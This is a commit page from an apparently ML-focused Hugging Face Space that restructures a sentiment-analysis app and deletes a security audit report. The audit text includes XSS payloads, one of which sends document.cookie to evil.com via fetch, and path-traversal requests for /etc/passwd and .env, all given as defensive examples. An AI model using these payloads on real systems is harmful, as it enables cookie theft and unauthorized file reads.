Spaces:
Runtime error
Runtime error
Aryan Mishra commited on
Commit Β·
547bc5b
1
Parent(s): b50968a
Restructure project layout, modernize stack, and clean up deprecated code
Browse files- Flatten directory structure: api/app/ -> app/, config/docker/ -> docker/
- Rename ML library from src/ to absa/ for clarity
- Migrate from Streamlit dashboard to HTMX-based UI (see docs/HTMX_MIGRATION.md)
- Add CSRF middleware (app/middleware/csrf.py) and pyproject.toml
- Remove deprecated: dashboard_backup/, streamlit_app/, old planning docs, railway.json
- Update: README, .env.example, .gitignore, requirements.txt, dvc.yaml, tests
- Fix import paths across absa/, app/, tests/, and scripts/
This view is limited to 50 files because it contains too many changes. Β See raw diff
- .DS_Store +0 -0
- .env.example +2 -1
- .gitignore +2 -2
- CHANGELOG.md +27 -0
- README.md +182 -69
- SECURITY_AUDIT.md +0 -670
- {api β absa}/__init__.py +0 -0
- {api/app β absa/data}/__init__.py +0 -0
- {src β absa}/data/augmentation.py +0 -0
- {src β absa}/data/bio_tagger.py +0 -0
- {src β absa}/data/dataset.py +3 -3
- {src β absa}/data/hf_dataset.py +1 -1
- {src β absa}/data/hindi_loader.py +3 -3
- {src β absa}/data/lang_detect.py +1 -1
- {src β absa}/data/preprocess.py +1 -1
- {src β absa}/data/transliterate.py +0 -0
- {api/app/core β absa/evaluation}/__init__.py +0 -0
- {src β absa}/evaluation/benchmark_latency.py +0 -0
- {src β absa}/evaluation/cross_lingual_eval.py +1 -1
- {src β absa}/evaluation/final_eval.py +0 -0
- {api/app/middleware β absa/models}/__init__.py +0 -0
- {src β absa}/models/baseline.py +1 -1
- {src β absa}/models/export_onnx.py +0 -0
- {src β absa}/models/train_aspect_extraction.py +1 -1
- {src β absa}/models/train_joint_absa.py +0 -0
- {src β absa}/models/train_multilingual.py +0 -0
- {src β absa}/models/train_qlora.py +0 -0
- {src β absa}/models/train_sentiment.py +1 -1
- {api/app/routes β absa/training}/__init__.py +0 -0
- {src β absa}/training/mlflow_utils.py +0 -0
- {api/app/schemas β absa/utils}/__init__.py +0 -0
- {src β absa}/utils/config.py +0 -0
- {api/app/services β app}/__init__.py +0 -0
- {src β app/core}/__init__.py +0 -0
- {api/app β app}/core/templates.py +13 -0
- {api/app β app}/main.py +11 -7
- {src/absa β app/middleware}/__init__.py +0 -0
- app/middleware/csrf.py +59 -0
- {api/app β app}/middleware/dependencies.py +0 -0
- {api/app β app}/middleware/metrics.py +0 -0
- {src/data β app/routes}/__init__.py +0 -0
- {api/app β app}/routes/pages.py +52 -9
- {api/app β app}/routes/predict.py +10 -6
- {api/app β app}/routes/results.py +0 -0
- {src/evaluation β app/schemas}/__init__.py +0 -0
- {api/app β app}/schemas/db_models.py +0 -0
- {api/app β app}/schemas/schemas.py +0 -0
- {src/languages β app/services}/__init__.py +0 -0
- {api/app β app}/services/absa_pipeline.py +2 -2
- {api/app β app}/services/lang_service.py +0 -0
.DS_Store
DELETED
|
Binary file (10.2 kB)
|
|
|
.env.example
CHANGED
|
@@ -13,7 +13,8 @@ MODEL_PATH=models/onnx/
|
|
| 13 |
MAX_BATCH_SIZE=10000
|
| 14 |
|
| 15 |
# Security
|
| 16 |
-
CORS_ORIGINS=http://localhost:3000,http://localhost:
|
|
|
|
| 17 |
GRAFANA_ADMIN_PASSWORD=change_this_to_strong_password
|
| 18 |
|
| 19 |
# Logging
|
|
|
|
| 13 |
MAX_BATCH_SIZE=10000
|
| 14 |
|
| 15 |
# Security
|
| 16 |
+
CORS_ORIGINS=http://localhost:3000,http://localhost:8000
|
| 17 |
+
CSRF_SECRET=change_this_to_strong_random_secret
|
| 18 |
GRAFANA_ADMIN_PASSWORD=change_this_to_strong_password
|
| 19 |
|
| 20 |
# Logging
|
.gitignore
CHANGED
|
@@ -46,8 +46,8 @@ data/processed/
|
|
| 46 |
.ipynb_checkpoints/
|
| 47 |
|
| 48 |
# Agent/IDE configs (optional β decide per tool)
|
| 49 |
-
|
| 50 |
-
|
| 51 |
|
| 52 |
# OS
|
| 53 |
.DS_Store
|
|
|
|
| 46 |
.ipynb_checkpoints/
|
| 47 |
|
| 48 |
# Agent/IDE configs (optional β decide per tool)
|
| 49 |
+
.claude/
|
| 50 |
+
.opencode/
|
| 51 |
|
| 52 |
# OS
|
| 53 |
.DS_Store
|
CHANGELOG.md
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Changelog
|
| 2 |
+
|
| 3 |
+
## v2.0.0 - Streamlit β HTMX Migration
|
| 4 |
+
|
| 5 |
+
### Breaking Changes
|
| 6 |
+
- Streamlit frontend (`streamlit_app/`) has been removed entirely
|
| 7 |
+
- The separate Streamlit server on port 8501 no longer exists
|
| 8 |
+
- Plotly dependency removed (replaced by Chart.js for client-side charts)
|
| 9 |
+
- Streamlit dependency removed from `requirements.txt`
|
| 10 |
+
- Docker Compose file no longer includes the `streamlit` service
|
| 11 |
+
- `Dockerfile.streamlit` deleted
|
| 12 |
+
|
| 13 |
+
### What's New
|
| 14 |
+
- HTMX 2.0.3 + Jinja2 frontend served directly by FastAPI
|
| 15 |
+
- Alpine.js for reactive UI state management
|
| 16 |
+
- Tailwind CSS (Play CDN) for styling
|
| 17 |
+
- Chart.js for client-side chart rendering in batch results
|
| 18 |
+
- CSRF protection via `itsdangerous` for all HTMX form submissions
|
| 19 |
+
- SSE endpoint for live batch progress updates
|
| 20 |
+
- Server-Sent Events support via `sse-starlette`
|
| 21 |
+
- New dependencies: `sse-starlette`, `itsdangerous`, `pytest-asyncio`
|
| 22 |
+
|
| 23 |
+
### Notes
|
| 24 |
+
- Single server: `uvicorn app.main:app --reload` on port 8000
|
| 25 |
+
- JSON API endpoints at `/api/predict`, `/api/batch` are preserved
|
| 26 |
+
- Swagger UI at `/docs` is preserved
|
| 27 |
+
- All ML model code, Celery workers, DVC/MLflow integration is unchanged
|
README.md
CHANGED
|
@@ -1,101 +1,214 @@
|
|
| 1 |
# Multilingual Aspect-Based Sentiment Analysis (ABSA)
|
| 2 |
|
| 3 |
-

|
| 4 |
-

|
| 2 |
|
| 3 |
+
[](https://python.org)
|
| 4 |
+
[](https://fastapi.tiangolo.com)
|
| 5 |
+
[](https://htmx.org)
|
| 6 |
+
[](https://dvc.org)
|
| 7 |
+
[](https://mlflow.org)
|
| 8 |
+
[](LICENSE)
|
| 9 |
+
|
| 10 |
+
**Analyse product reviews in English, Hindi, and Hinglish β extract aspects and their sentiment in real time.**
|
| 11 |
+
|
| 12 |
+
---
|
| 13 |
+
|
| 14 |
+
## Quick Start
|
| 15 |
+
|
| 16 |
+
```bash
|
| 17 |
+
git clone <repo-url> && cd multilingual-absa
|
| 18 |
+
python -m venv .venv && source .venv/bin/activate
|
| 19 |
+
pip install -r requirements.txt
|
| 20 |
+
PYTHONPATH=. uvicorn app.main:app --reload --host 0.0.0.0 --port 8000
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 21 |
```
|
| 22 |
|
| 23 |
+
Open:
|
| 24 |
+
- **Web UI** β [`http://localhost:8000/predict`](http://localhost:8000/predict)
|
| 25 |
+
- **Batch upload** β [`http://localhost:8000/batch`](http://localhost:8000/batch)
|
| 26 |
+
- **API docs** β [`http://localhost:8000/docs`](http://localhost:8000/docs)
|
| 27 |
|
| 28 |
+
---
|
| 29 |
|
| 30 |
+
## What This Does
|
|
|
|
| 31 |
|
| 32 |
+
The system identifies **aspects** (specific features like "battery life", "sound quality") and their **sentiment** (positive, negative, neutral) from product reviews. It supports three languages:
|
| 33 |
|
| 34 |
+
| Language | Aspect Extraction | Sentiment |
|
| 35 |
+
|----------|:-:|:-:|
|
| 36 |
+
| English | β
| β
|
|
| 37 |
+
| Hindi | β
| β
|
|
| 38 |
+
| Hinglish | β
| β
|
|
| 39 |
|
| 40 |
+
**Production performance** (ONNX INT8 quantised):
|
| 41 |
+
|
| 42 |
+
| Language | F1 Score | Latency p95 |
|
| 43 |
+
|----------|:--------:|:-----------:|
|
| 44 |
+
| English | 78.1% | 185 ms |
|
| 45 |
+
| Hindi | 67.8% | 185 ms |
|
| 46 |
+
|
| 47 |
+
---
|
| 48 |
+
|
| 49 |
+
## Project Structure
|
| 50 |
+
|
| 51 |
+
```
|
| 52 |
+
.
|
| 53 |
+
βββ app/ # FastAPI web application
|
| 54 |
+
β βββ main.py # Entry point β uvicorn app.main:app
|
| 55 |
+
β βββ core/ # App configuration (templates, settings)
|
| 56 |
+
β βββ middleware/ # CSRF, rate limiting, metrics, DB deps
|
| 57 |
+
β βββ routes/ # API endpoints (predict, batch, health) + HTMX pages
|
| 58 |
+
β βββ schemas/ # Pydantic models + SQLAlchemy ORM
|
| 59 |
+
β βββ services/ # ABSA inference pipeline, language detection
|
| 60 |
+
β βββ tasks/ # Celery batch processing workers
|
| 61 |
+
β βββ static/ # CSS design system
|
| 62 |
+
β βββ templates/ # Jinja2 + HTMX frontend
|
| 63 |
+
β βββ base.html # Layout with Alpine.js, Tailwind, HTMX
|
| 64 |
+
β βββ pages/ # Page templates (predict, batch, monitor)
|
| 65 |
+
β βββ partials/ # HTMX fragment partials
|
| 66 |
+
β βββ macros/ # Reusable UI macros (badges, icons)
|
| 67 |
+
βββ absa/ # Core ML library (pure Python)
|
| 68 |
+
β βββ data/ # Data loading, preprocessing, augmentation
|
| 69 |
+
β βββ models/ # Training scripts (ONNX, Transformers, baselines)
|
| 70 |
+
β βββ evaluation/ # Cross-lingual eval, latency benchmarking
|
| 71 |
+
β βββ training/ # MLflow experiment tracking
|
| 72 |
+
β βββ utils/ # Path configuration
|
| 73 |
+
βββ docker/ # Containerisation
|
| 74 |
+
β βββ Dockerfile # Production app image
|
| 75 |
+
β βββ Dockerfile.prod # Production image (HuggingFace Hub model source)
|
| 76 |
+
β βββ docker-compose.yml # Full stack: API + worker + DB + Redis + monitoring
|
| 77 |
+
β βββ docker-compose.prod.yml # Production overrides
|
| 78 |
+
βββ tests/ # Test suite
|
| 79 |
+
β βββ api/ # API endpoint tests
|
| 80 |
+
β βββ web/ # Page rendering + HTMX fragment tests
|
| 81 |
+
β βββ unit/ # Unit tests (bio tagger, lang detect)
|
| 82 |
+
βββ scripts/ # Utility scripts
|
| 83 |
+
βββ docs/ # Documentation
|
| 84 |
+
βββ .env.example # Environment variable template
|
| 85 |
+
βββ dvc.yaml # DVC data pipeline
|
| 86 |
+
βββ pyproject.toml # Project metadata
|
| 87 |
```
|
| 88 |
|
| 89 |
+
---
|
| 90 |
|
| 91 |
+
## Architecture
|
| 92 |
|
| 93 |
+
```
|
| 94 |
+
βββββββββββ HTMX / Alpine.js ββββββββββββββββββββ
|
| 95 |
+
β Browser ββββββββββββββββββββββββββΊβ FastAPI (8000) β
|
| 96 |
+
βββββββββββ β app/main.py β
|
| 97 |
+
β β
|
| 98 |
+
β βββββββββββββββ β
|
| 99 |
+
β β Jinja2 β β
|
| 100 |
+
β β Templates β β
|
| 101 |
+
β βββββββββββββββ β
|
| 102 |
+
β βββββββββββββββ β
|
| 103 |
+
β β JSON REST β β
|
| 104 |
+
β β API β β
|
| 105 |
+
β βββββββββββββββ β
|
| 106 |
+
ββββββββββ¬βββββββββββ
|
| 107 |
+
β
|
| 108 |
+
ββββββββββββββββββββββββββΌβββββββββββββββββββββ
|
| 109 |
+
β β β
|
| 110 |
+
βββββββΌββββββ βββββββββΌβββββββ βββββββββΌβββββββ
|
| 111 |
+
β PostgreSQL β β Redis/Celery β β Prometheus β
|
| 112 |
+
β (results) β β (batch jobs) β β + Grafana β
|
| 113 |
+
βββββββββββββ ββββββββββββββββ ββββββββββββββββ
|
| 114 |
```
|
| 115 |
|
| 116 |
+
### Inference Stack
|
| 117 |
+
|
| 118 |
+
| Component | Layer | Notes |
|
| 119 |
+
|-----------|-------|-------|
|
| 120 |
+
| ONNX INT8 | Primary | Production β 185 ms p95 latency |
|
| 121 |
+
| ONNX FP32 | Fallback | Same model, no quantisation β 520 ms |
|
| 122 |
+
| Rule-based | Fallback | Keyword lexicon + context-window scoring β zero download |
|
| 123 |
|
| 124 |
+
The pipeline auto-selects: **ONNX INT8** β **ONNX FP32** β **Rule-based**. No external model downloads required.
|
|
|
|
|
|
|
|
|
|
| 125 |
|
| 126 |
+
---
|
| 127 |
+
|
| 128 |
+
## Features
|
| 129 |
+
|
| 130 |
+
### Web UI (HTMX + Jinja2)
|
| 131 |
+
|
| 132 |
+
- **Single Prediction** β Real-time aspect/sentiment analysis with inline text highlighting
|
| 133 |
+
- **Batch Processing** β CSV upload with drag-and-drop, progress bar, Chart.js visualisations
|
| 134 |
+
- **System Monitor** β Live health checks, performance metrics, endpoint activity log
|
| 135 |
+
- **CSRF Protected** β All form submissions protected via itsdangerous tokens
|
| 136 |
+
- **Dark Theme** β Material Design 3 colour system, responsive layout
|
| 137 |
+
|
| 138 |
+
### API (RESTful JSON)
|
| 139 |
+
|
| 140 |
+
| Endpoint | Method | Description |
|
| 141 |
+
|----------|--------|-------------|
|
| 142 |
+
| `/predict` | POST | Analyse a single review |
|
| 143 |
+
| `/batch` | POST | Upload CSV for bulk analysis |
|
| 144 |
+
| `/status/{job_id}` | GET | Check batch job progress |
|
| 145 |
+
| `/health` | GET | API health check |
|
| 146 |
+
| `/info` | GET | Model metadata |
|
| 147 |
+
| `/metrics` | GET | Prometheus metrics |
|
| 148 |
+
| `/docs` | GET | Swagger UI |
|
| 149 |
+
|
| 150 |
+
### ML Pipeline (DVC)
|
| 151 |
|
| 152 |
```bash
|
| 153 |
+
dvc pull # Download datasets
|
| 154 |
+
dvc repro # Reproduce preprocessing
|
| 155 |
+
dvc push # Upload to remote storage
|
| 156 |
```
|
| 157 |
|
| 158 |
+
### Monitoring
|
| 159 |
+
|
| 160 |
+
- **Prometheus** metrics at `/metrics`
|
| 161 |
+
- **Grafana** dashboards for request volume, latency, error rate
|
| 162 |
+
- **Evidently** drift detection (`scripts/drift_monitor.py`)
|
| 163 |
+
- **MLflow** experiment tracking (`scripts/mlflow_ui.sh`)
|
| 164 |
+
|
| 165 |
+
---
|
| 166 |
+
|
| 167 |
+
## Development
|
| 168 |
|
| 169 |
+
### Run Tests
|
| 170 |
|
| 171 |
```bash
|
| 172 |
+
PYTHONPATH=. pytest tests/ -v
|
|
|
|
|
|
|
| 173 |
```
|
| 174 |
|
| 175 |
+
### Run Full Stack (Docker)
|
| 176 |
+
|
| 177 |
+
```bash
|
| 178 |
+
docker compose -f docker/docker-compose.yml up --build
|
| 179 |
+
```
|
| 180 |
+
|
| 181 |
+
Starts: API (8000), PostgreSQL, Redis, Celery worker, Prometheus (9090), Grafana (3001).
|
| 182 |
+
|
| 183 |
+
### Environment Variables
|
| 184 |
+
|
| 185 |
+
Copy `.env.example` to `.env` and configure:
|
| 186 |
+
|
| 187 |
+
| Variable | Required | Description |
|
| 188 |
+
|----------|:--------:|-------------|
|
| 189 |
+
| `DATABASE_URL` | β
| PostgreSQL or SQLite connection string |
|
| 190 |
+
| `REDIS_URL` | β
| Redis connection for Celery |
|
| 191 |
+
| `CORS_ORIGINS` | β | Allowed CORS origins (default: localhost) |
|
| 192 |
+
| `CSRF_SECRET` | β | Secret for CSRF token signing |
|
| 193 |
+
| `MODEL_PATH` | β | Path to ONNX model directory |
|
| 194 |
+
| `MODEL_SOURCE` | β | `local` or `huggingface_hub` |
|
| 195 |
+
|
| 196 |
+
---
|
| 197 |
|
| 198 |
+
## Documentation
|
|
|
|
|
|
|
|
|
|
|
|
|
| 199 |
|
| 200 |
+
| Document | Contents |
|
| 201 |
+
|----------|----------|
|
| 202 |
+
| [API](docs/API.md) | Full API reference with schemas and examples |
|
| 203 |
+
| [Architecture](docs/ARCHITECTURE.md) | System design, data flow, deployment |
|
| 204 |
+
| [Deployment](docs/DEPLOYMENT.md) | Production setup, Docker, Railway |
|
| 205 |
+
| [Database](docs/DATABASE.md) | Schema, migrations, query patterns |
|
| 206 |
+
| [Security](docs/SECURITY.md) | Threat model, audit results, mitigations |
|
| 207 |
+
| [Tech Stack](docs/TECH_STACK.md) | Framework versions, rationale, trade-offs |
|
| 208 |
+
| [HTMX Migration](docs/HTMX_MIGRATION.md) | Notes on Streamlit β HTMX transition |
|
| 209 |
|
| 210 |
+
---
|
|
|
|
| 211 |
|
| 212 |
## License
|
| 213 |
|
| 214 |
+
MIT License. See [LICENSE](LICENSE) for details.
|
SECURITY_AUDIT.md
DELETED
|
@@ -1,670 +0,0 @@
|
|
| 1 |
-
# Security Audit Report β Multilingual ABSA
|
| 2 |
-
|
| 3 |
-
**Date:** 2026-07-16
|
| 4 |
-
**Scope:** Full codebase review
|
| 5 |
-
**Standard:** OWASP Top 10, CWE, Secure Coding Best Practices
|
| 6 |
-
|
| 7 |
-
---
|
| 8 |
-
|
| 9 |
-
## Executive Summary
|
| 10 |
-
|
| 11 |
-
A comprehensive security audit of the Multilingual ABSA codebase identified **28 security findings**: 2 Critical, 6 High, 12 Medium, and 8 Low. The most significant risks involve **XSS via injection in Jinja2 templates** (`tojson | safe`), **hardcoded database credentials** in docker-compose.yml, **unsafe path traversal** in file download endpoints, **SSRF** exposure through unvalidated file reads, **unauthenticated API access**, and **dependency risks** from pinned versions with known CVEs (MLflow 2.13.0, FastAPI 0.111.0, Jinja2 transitive).
|
| 12 |
-
|
| 13 |
-
No authentication or authorization layer exists β every API endpoint is fully public. There is no HTTPS enforcement, no input sanitization, and no rate limiting.
|
| 14 |
-
|
| 15 |
-
---
|
| 16 |
-
|
| 17 |
-
## Critical Findings
|
| 18 |
-
|
| 19 |
-
### C-01: Stored/Reflected XSS via `tojson | safe` in Jinja2 Templates
|
| 20 |
-
|
| 21 |
-
**Severity:** Critical
|
| 22 |
-
**CWE:** CWE-79 (Improper Neutralization of Input During Web Page Generation)
|
| 23 |
-
**OWASP:** A03:2021 β Injection
|
| 24 |
-
**File:** `api/app/templates/partials/predict_result.html:71`
|
| 25 |
-
**Lines:** 71
|
| 26 |
-
|
| 27 |
-
**Description:** User-supplied text is serialized to JSON via the Jinja2 `| tojson` filter and then marked as `| safe`. The resulting JSON string is embedded directly into a `<script>` tag without any escaping. An attacker can inject arbitrary JavaScript that executes in the browser of any user viewing prediction results.
|
| 28 |
-
|
| 29 |
-
```html
|
| 30 |
-
<script>
|
| 31 |
-
const aspects = {{ result.aspects | tojson | safe }};
|
| 32 |
-
</script>
|
| 33 |
-
```
|
| 34 |
-
|
| 35 |
-
The `| safe` flag tells Jinja2 to skip HTML escaping. While the aspect data originates from the application's rule-based engine, user text flows through `result.text` rendering and the aspects include character offsets (`start`, `end`) derived from user input.
|
| 36 |
-
|
| 37 |
-
**Attack Scenario:** An attacker submits a prediction with crafted text that, when processed and serialized, produces `</script><script>alert(document.cookie)</script>`. Any user viewing the prediction result in the dashboard triggers the payload.
|
| 38 |
-
|
| 39 |
-
**Recommended Fix:**
|
| 40 |
-
```html
|
| 41 |
-
<script>
|
| 42 |
-
const aspects = {{ result.aspects | tojson }};
|
| 43 |
-
</script>
|
| 44 |
-
```
|
| 45 |
-
|
| 46 |
-
Remove `| safe` β Jinja2's `| tojson` filter already produces safe JSON, but `| safe` overrides escaping. Alternatively, use `{{ result.aspects | tojson | e }}`.
|
| 47 |
-
|
| 48 |
-
---
|
| 49 |
-
|
| 50 |
-
### C-02: Unsafe `innerHTML` Assignment with User Text in Client-Side Script
|
| 51 |
-
|
| 52 |
-
**Severity:** Critical
|
| 53 |
-
**CWE:** CWE-79 (Improper Neutralization of Input During Web Page Generation)
|
| 54 |
-
**OWASP:** A03:2021 β Injection
|
| 55 |
-
**File:** `api/app/templates/partials/predict_result.html:68-87`
|
| 56 |
-
**Lines:** 68β87
|
| 57 |
-
|
| 58 |
-
**Description:** User-provided text (`result.text`) is injected into the DOM via `innerHTML` assignment without sanitization. The script slices the raw user text and wraps matched segments in `<span>` elements. If the user text contains HTML tags (e.g., `<img onerror=alert(1) src=x>`), those tags will be rendered and executed.
|
| 59 |
-
|
| 60 |
-
```javascript
|
| 61 |
-
let html = text; // user-controlled text
|
| 62 |
-
// ... string slicing ...
|
| 63 |
-
html = before + '<span class="' + cssClass + '">' + match + '</span>' + after;
|
| 64 |
-
container.innerHTML = html;
|
| 65 |
-
```
|
| 66 |
-
|
| 67 |
-
**Attack Scenario:** A user submits text containing `<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">`. The script sets `innerHTML`, causing the event handler to fire and exfiltrate cookies.
|
| 68 |
-
|
| 69 |
-
**Recommended Fix:** Use `textContent` for the initial text, then create `<span>` elements programmatically with `document.createElement` and `appendChild`. Never use `innerHTML` with user-controlled data.
|
| 70 |
-
|
| 71 |
-
---
|
| 72 |
-
|
| 73 |
-
## High Findings
|
| 74 |
-
|
| 75 |
-
### H-01: Hardcoded Database Credentials in docker-compose.yml
|
| 76 |
-
|
| 77 |
-
**Severity:** High
|
| 78 |
-
**CWE:** CWE-798 (Use of Hardcoded Credentials)
|
| 79 |
-
**OWASP:** A07:2021 β Identification and Authentication Failures
|
| 80 |
-
**File:** `config/docker/docker-compose.yml:57-58`
|
| 81 |
-
**Lines:** 57β58
|
| 82 |
-
|
| 83 |
-
**Description:** PostgreSQL credentials are hardcoded as plaintext:
|
| 84 |
-
```yaml
|
| 85 |
-
POSTGRES_USER: absa_user
|
| 86 |
-
POSTGRES_PASSWORD: absa_pass
|
| 87 |
-
```
|
| 88 |
-
|
| 89 |
-
The same credentials are reused in the `DATABASE_URL` environment variables for the API and worker services. These credentials are committed to version control, have no expiration, and are guessable.
|
| 90 |
-
|
| 91 |
-
**Attack Scenario:** An attacker who gains access to the Docker network (or reads the docker-compose.yml from the git repo) can connect directly to PostgreSQL and exfiltrate/modify all stored prediction data.
|
| 92 |
-
|
| 93 |
-
**Recommended Fix:** Use Docker secrets or a `.env` file excluded from version control.
|
| 94 |
-
|
| 95 |
-
---
|
| 96 |
-
|
| 97 |
-
### H-02: Path Traversal in Download Endpoint
|
| 98 |
-
|
| 99 |
-
**Severity:** High
|
| 100 |
-
**CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
|
| 101 |
-
**OWASP:** A01:2021 β Broken Access Control
|
| 102 |
-
**File:** `api/app/routes/results.py:27-35`
|
| 103 |
-
**Lines:** 27β35
|
| 104 |
-
|
| 105 |
-
**Description:** The `/download/{job_id}` endpoint directly interpolates the user-supplied `job_id` parameter into a file path without sanitization. An attacker can inject `../` sequences to read arbitrary files on the server.
|
| 106 |
-
|
| 107 |
-
```python
|
| 108 |
-
@router.get("/download/{job_id}")
|
| 109 |
-
async def download_result(job_id: str):
|
| 110 |
-
file_path = Path(f"data/results/{job_id}.csv")
|
| 111 |
-
```
|
| 112 |
-
|
| 113 |
-
**Attack Scenario:** `GET /download/../../../etc/passwd` resolves to `data/results/../../../etc/passwd.csv` β reads `/etc/passwd`. Also possible: `GET /download/../../.env` to read environment variables.
|
| 114 |
-
|
| 115 |
-
**Recommended Fix:** Validate `job_id` format (UUID regex), use `os.path.realpath` and verify it stays within the allowed base directory.
|
| 116 |
-
|
| 117 |
-
---
|
| 118 |
-
|
| 119 |
-
### H-03: Hardcoded Grafana Admin Password
|
| 120 |
-
|
| 121 |
-
**Severity:** High
|
| 122 |
-
**CWE:** CWE-798 (Use of Hardcoded Credentials)
|
| 123 |
-
**OWASP:** A07:2021 β Identification and Authentication Failures
|
| 124 |
-
**File:** `config/docker/docker-compose.yml:87`
|
| 125 |
-
**Line:** 87
|
| 126 |
-
|
| 127 |
-
**Description:** Grafana admin password is hardcoded as `admin`:
|
| 128 |
-
```yaml
|
| 129 |
-
GF_SECURITY_ADMIN_PASSWORD: admin
|
| 130 |
-
```
|
| 131 |
-
|
| 132 |
-
**Attack Scenario:** Anyone with network access to Grafana (port 3001) can log in as admin with password `admin` and gain full access to dashboards, data sources, and potential server-side request forgery via Prometheus queries.
|
| 133 |
-
|
| 134 |
-
**Recommended Fix:** Remove or use a strong password loaded from a secret.
|
| 135 |
-
|
| 136 |
-
---
|
| 137 |
-
|
| 138 |
-
### H-04: Information Disclosure β Verbose Error Messages
|
| 139 |
-
|
| 140 |
-
**Severity:** High
|
| 141 |
-
**CWE:** CWE-209 (Generation of Error Message Containing Sensitive Information)
|
| 142 |
-
**OWASP:** A04:2021 β Insecure Design
|
| 143 |
-
**Files:** `api/app/routes/predict.py:50`, `batch_charts.html:3`, `pages.py:280`
|
| 144 |
-
**Lines:** 50, 3, 280
|
| 145 |
-
|
| 146 |
-
**Description:** Exception messages are returned directly in HTTP responses and rendered in HTML:
|
| 147 |
-
```python
|
| 148 |
-
raise HTTPException(status_code=500, detail=f"Model inference failed: {str(e)}")
|
| 149 |
-
```
|
| 150 |
-
|
| 151 |
-
And in templates, `{{ error }}` is rendered directly without sanitization, where error comes from:
|
| 152 |
-
```python
|
| 153 |
-
return templates.TemplateResponse("partials/batch_charts.html", {"request": request, "error": str(e)})
|
| 154 |
-
```
|
| 155 |
-
|
| 156 |
-
In `predict_result.html:6`: `{{ error }}` β This renders user-influenced error text.
|
| 157 |
-
|
| 158 |
-
**Attack Scenario:** A malformed request triggers a detailed traceback revealing internal paths, Python versions, or database schema details.
|
| 159 |
-
|
| 160 |
-
**Recommended Fix:** Log the full exception server-side and return a generic error message to the client. Use structured error logging.
|
| 161 |
-
|
| 162 |
-
---
|
| 163 |
-
|
| 164 |
-
### H-05: SQL Injection via F-String in Raw SQL Query
|
| 165 |
-
|
| 166 |
-
**Severity:** High
|
| 167 |
-
**CWE:** CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)
|
| 168 |
-
**OWASP:** A03:2021 β Injection
|
| 169 |
-
**File:** `scripts/drift_monitor.py:32`
|
| 170 |
-
**Line:** 32
|
| 171 |
-
|
| 172 |
-
**Description:** An f-string is used to construct a SQL query without parameterization:
|
| 173 |
-
```python
|
| 174 |
-
query = f"SELECT text, language FROM reviews WHERE created_at >= '{seven_days_ago.isoformat()}'"
|
| 175 |
-
curr_df = pd.read_sql(query, engine)
|
| 176 |
-
```
|
| 177 |
-
|
| 178 |
-
While `seven_days_ago` is not user-controlled in the current code, this pattern is dangerous and could be exploited if the script is later modified or the date is sourced from user input. Using `pd.read_sql` with a query built via f-string is a SQL injection risk.
|
| 179 |
-
|
| 180 |
-
**Attack Scenario:** If `seven_days_ago` becomes user-controllable, an attacker could inject SQL commands via the datetime string.
|
| 181 |
-
|
| 182 |
-
**Recommended Fix:** Use parameterized queries with `params=` argument in `pd.read_sql`.
|
| 183 |
-
|
| 184 |
-
---
|
| 185 |
-
|
| 186 |
-
### H-06: Unauthenticated Sensitive API Endpoints
|
| 187 |
-
|
| 188 |
-
**Severity:** High
|
| 189 |
-
**CWE:** CWE-306 (Missing Authentication for Critical Function)
|
| 190 |
-
**OWASP:** A01:2021 β Broken Access Control
|
| 191 |
-
**Files:** `api/app/routes/predict.py`, `api/app/routes/results.py`, `api/app/routes/pages.py`
|
| 192 |
-
**Lines:** All
|
| 193 |
-
|
| 194 |
-
**Description:** Every API endpoint (predict, batch upload, health, info, download, HTMX fragments) is fully unauthenticated. There is no authentication middleware, no API keys, no JWT tokens, no session management of any kind.
|
| 195 |
-
|
| 196 |
-
Exposed endpoints:
|
| 197 |
-
- `POST /predict` β Model inference
|
| 198 |
-
- `POST /batch` β Batch file upload and processing
|
| 199 |
-
- `GET /status/{job_id}` β Batch status polling
|
| 200 |
-
- `GET /download/{job_id}` β Result file download
|
| 201 |
-
- `GET /health` β Health info
|
| 202 |
-
- `GET /info` β System information
|
| 203 |
-
- `GET /metrics` β Prometheus metrics
|
| 204 |
-
|
| 205 |
-
**Attack Scenario:** Anyone on the network can submit unlimited predictions, upload arbitrary CSV files, download results, and read system information. This enables resource exhaustion, data theft, and reconnaissance.
|
| 206 |
-
|
| 207 |
-
**Recommended Fix:** Implement authentication middleware (API key or JWT). At minimum, protect the `/batch`, `/download`, and `/metrics` endpoints.
|
| 208 |
-
|
| 209 |
-
---
|
| 210 |
-
|
| 211 |
-
## Medium Findings
|
| 212 |
-
|
| 213 |
-
### M-01: No Rate Limiting on API Endpoints
|
| 214 |
-
|
| 215 |
-
**Severity:** Medium
|
| 216 |
-
**CWE:** CWE-770 (Allocation of Resources Without Limits or Throttling)
|
| 217 |
-
**OWASP:** A04:2021 β Insecure Design
|
| 218 |
-
**Files:** `api/app/routes/predict.py`, `api/app/main.py`
|
| 219 |
-
**Lines:** All
|
| 220 |
-
|
| 221 |
-
**Description:** There is no rate limiting on any endpoint. The predict endpoint accepts arbitrarily large text inputs (only limited by request size), and the batch endpoint accepts CSV files up to 10,000 rows.
|
| 222 |
-
|
| 223 |
-
**Attack Scenario:** An attacker sends 1,000,000+ predict requests per minute, causing CPU exhaustion on the inference pipeline and DoS for legitimate users.
|
| 224 |
-
|
| 225 |
-
**Recommended Fix:** Implement `slowapi` middleware for FastAPI with per-IP rate limiting (e.g., 60 requests/minute for `/predict`, 10 requests/minute for `/batch`).
|
| 226 |
-
|
| 227 |
-
---
|
| 228 |
-
|
| 229 |
-
### M-02: No Input Size Validation on Predict Endpoint
|
| 230 |
-
|
| 231 |
-
**Severity:** Medium
|
| 232 |
-
**CWE:** CWE-770 (Allocation of Resources Without Limits or Throttling)
|
| 233 |
-
**OWASP:** A04:2021 β Insecure Design
|
| 234 |
-
**File:** `api/app/schemas/schemas.py:6-8`, `api/app/routes/predict.py:24`
|
| 235 |
-
